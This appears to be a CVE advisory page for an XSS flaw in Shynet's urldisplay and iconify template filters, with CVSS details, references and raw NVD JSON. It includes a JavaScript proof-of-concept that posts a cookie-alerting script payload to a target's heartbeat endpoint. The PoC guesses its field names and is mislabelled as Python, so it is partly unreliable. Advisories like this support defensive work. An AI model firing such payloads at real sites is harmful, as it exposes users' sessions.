Security Vulnerability Report
中文
CVE-2026-35508 CVSS 5.4 MEDIUM

CVE-2026-35508

Published: 2026-04-03 02:16:15
Last Modified: 2026-04-10 16:02:17

Description

Shynet before 0.14.0 allows XSS in urldisplay and iconify template filters,

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:shynet:shynet:*:*:*:*:*:*:*:* - VULNERABLE
Shynet < 0.14.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-35508 The vulnerability exists in the 'urldisplay' and 'iconify' template filters. Injecting a malicious payload into a URL field that is processed by these filters can trigger XSS. --> <script> // Example payload to inject into the vulnerable URL field // When the shynet dashboard renders this URL using the 'urldisplay' filter, the script executes. var payload = '"><img src=x onerror=alert(document.cookie)>'; // Simulate sending a request with the malicious payload fetch('https://target-shynet-domain.com/api/heartbeat', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ // The specific parameter name depends on the implementation, usually 'url' or 'referrer' "url": payload, // 'iconify' filter might process icon paths or similar data "icon": payload }) }).then(response => console.log('Payload sent')); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35508", "sourceIdentifier": "[email protected]", "published": "2026-04-03T02:16:15.353", "lastModified": "2026-04-10T16:02:16.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Shynet before 0.14.0 allows XSS in urldisplay and iconify template filters,"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:shynet:shynet:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.14.0", "matchCriteriaId": "600DCDD5-5C51-44FB-8431-099212B69385"}]}]}], "references": [{"url": "https://github.com/milesmcc/shynet/pull/344", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://github.com/milesmcc/shynet/releases/tag/v0.14.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}